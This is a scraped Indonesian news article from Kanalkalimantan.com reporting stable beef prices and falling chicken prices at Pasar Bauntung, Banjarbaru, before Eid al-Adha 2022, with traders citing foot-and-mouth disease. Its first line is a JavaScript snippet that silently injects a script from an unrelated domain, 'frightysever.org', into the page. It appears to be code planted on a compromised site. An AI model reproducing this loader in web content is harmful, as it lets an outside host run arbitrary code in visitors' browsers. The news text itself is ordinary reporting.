(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Harga daging sapi dan ayam potong jelang H-4 lebaran Idul Adha terpantau tidak ada kenaikan.
Harga daging sapi di Pasar Bauntung Banjarbaru berada pada kisaran Rp 160 ribu per kilogram, Rabu (6/7/2022).
Harga daging sapi ini tidak ada perubahan sejak Idul Fitri kemarin. Para pedagang pun mengaku lesu dengan penjualan daging sapi yang kian merosot turun.
“Sepi kita penjualan daging sekarang, biasanya seminggu lebaran orang sudah pada ramai ini. Ya, untuk harga daging saat ini masih sama seperti kemarin Rp 160 ribu, mungkin tidak ada kenaikan tinggi karena adanya wabah PMK,” ungkap pedagang daging sapi di Pasar Bauntung Banjarbaru, H Hadi kepada Kanalkalimantan.com.
Baca juga :Â Kodim 1001/HSU-BLG Bekali Calon Seleksi Bintara TNI AD 2022
Diakui H Hadi, terjadi penurunan stok daging sapi di lapak dagangannya karena berkurangnya pembeli yang menurutnya selain karena PMK (Penyakit Mulut dan Kuku) juga disebabkan pembeli lebih memenuhi kebutuhan lainnya menjelang Hari Raya Idul Adha dan persiapan anak masuk sekolah..
“Jadi bukan hanya PMK yang menyerang sapi, tapi juga kadang tergantung keuangannya,” kata H Hadi.
Dirinya membeberkan, sebelum PMK ia berani untuk memotong satu ekor sapi, tapi sekarang hanya bisa patungan dengan pedagang lainnya.
Baca juga : Menjaga Kearifan Lokal, Kapolres Banjar Terima Penghargaan dari Kapolda Kalsel
H Hadi mengharapkan dinas terkait dapat mengatasi PMK sebab menurutnya sangat berpengaruh besar bagi harga daging sapi di pasaran.
“Sekarang satu ekor sapi mahal, tergantung ukuran, kalau hargnya ada yang tembus Rp 20 jutaan,” tandasnya.
Norjanah, pedagang ayam potong di Pasar Bauntung Banjarbaru. Foto: Ibnu
Sementara itu, pedagang ayam potong, Norjanah membeberkan sudah beberapa hari ini harga ayam potong mengalami penurunan.
“Ayam tergantung ukuran kalau yang 2 Kg hargnya sekarang 50 ribu, yang dulunya diharga 60 ribu,” sebutnya.
Baca juga : Perombakan Besar-Besaran, 303 Pejabat Pemkab HSU Dilantik
Norjanah menuturkan harga ayam potong terkadang bisa naik dan bisa turun tergantung harga pakan ayam.
“Harga tergantung di peternak, kalau harga naik kemungkinan harga pakan ayam sedang mahal,” tuntasnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.